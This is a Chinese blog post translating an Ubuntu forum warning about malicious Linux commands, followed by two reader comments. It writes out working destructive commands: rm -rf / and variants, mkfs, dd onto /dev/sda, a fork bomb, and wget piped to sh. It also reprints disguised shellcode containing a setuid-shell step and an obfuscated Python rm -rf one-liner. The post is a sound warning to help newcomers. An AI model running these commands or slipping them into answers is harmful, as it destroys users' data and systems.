Mar 17
Linux恶意命令大全
Ubuntu论坛上的公告提醒用户警惕有人假装提供问题解决方案而诱导用户使用恶意命令,并列出了一些恶意命令,特别强调以下是"DANGEROUS COMMANDS -- look but DO NOT RUN"
删除所有文件,当前目录,或当前目录的可见文件:
-
rm -rf /
-
rm -rf .
-
rm -rf *
一个有趣的命令是,当你想删除当前目录的所有隐藏文件时,你也许会用:
-
rm -r .*
但问题是,这个命令也会删除父目录 "..",最终这个命令会删除所有父目录的父目录的父目录,也就是删除了所有东西!可能的解决方法是:
-
rm -r .[^.]*
当然,这个命令可能无法匹配某些想要删除的文件,这个问题留给读者来修正 -,-
(不知道这样行不行: rm -r .[^.]*; rm -r ..?* 不过太土鳖了。。--azalea)
格式化
-
mkfs
-
mkfs.ext3
-
mkfs.anything
操作块设备:导致原始数据写入块设备,通常会使文件系统崩溃,数据丢失
-
any_command> /dev/sda
-
dd if=something of=/dev/sda
Forkbomb(汗。。不知道怎么翻译):执行大量线程直到死机,用户不得不重启,可能导致系统崩溃、数据损坏等严重后果。在类Bourne shell中, 如Bash: (这个命令绝对会引起尝试的冲动。。)
-
:(){:|:&};:
详细解说: from 北极冰仔部落格
:(){:|:& };: 等价于
f() # 定义函数
{ f | f # 这个是精华, 管道线使两个 f 同时运行 }; f # 调用函数永不返回, 无穷递归. bash 的调用栈放在堆上, 结果耗尽所有CPU和内存空间. 而且同时运行的 f() 是指数爆炸式的…
在Perl中
Tarbomb:把一个被人做了手脚的tar档案文件解压到一个已经存在的目录下。这个tar档案文件可能会变成成千上万个文件或通过猜测文件名注入系统。因此,要养成习惯在一个刚创建的目录中解压tar文件。(这段没看懂,原文如此:Someone asks you to extract a tar archive into an existing directory. This tar archive can be crafted to explode into a million files, or inject files into the system by guessing filenames. You should make the habit of decompressing tars inside a cleanly made directory. --azalea)
解压炸弹: 解压一个从不可靠来源下载的看起来很小的文件,实际上这个文件可能是被高度压缩的,解压后会膨胀成上百GB,塞满你的硬盘。因此,不要使用不可靠来源的数据!
Shell脚本:运行可能含恶意代码的shell脚本。因此,不要运行来自不可信来源的shell脚本。
-
wget http://some_place/some_file
-
sh ./some_file
或
-
wget http://some_place/some_file -O- | sh
编译代码:有人提供给你源代码让你编译,很容易在其中隐藏恶意代码。不要轻易编译源代码或执行编译后的代码,除非来源可靠(比如SourceForge,作者的主页或者Ubuntu官方地址)
一个著名的例子出现在一个邮件列表中, 其中有这样一段代码:
-
char esp[] __attribute__ ((section(".text"))) /* e.s.p
-
release */
-
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
-
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
-
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
-
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
-
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
-
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
-
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
-
"cp -p /bin/sh /tmp/.beyond; chmod 4755
-
/tmp/.beyond;";
对新手来说,这些代码就像"那些复杂的十六进制的东东",看起来很安全,但实际上这是运行 rm -rf ~ / &
对于普通用户,这个命令会破坏home目录;而对于root用户,这个命令会破坏整个文件系统。如果你能在十六进制字符串中辨认出这个命令,那你不用担心上述的恶意命令了。否则,要当心恶意命令会以各种新颖的形式出现!
强调一下,以上远不是所有恶意命令的清单。花30秒就可以用python写出以下代码:
-
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
其中的"sn!.sg!+"实际上只是 rm -rf * 上移了一个字母。当然这是个很土鳖的例子--我不希望有人会不经思考就把这段代码粘贴到终端里去。




June 25th, 2008 at 10:11 pm
很有趣,收藏下,回去好好研究。
June 26th, 2008 at 2:35 am
呵呵,我也是别处看来的,据一高人说rm -r .* 其实不会删除父目录
我觉得这篇文章最有意思的就是最后提到python的那段。。
我是从这里才学会用os module -.-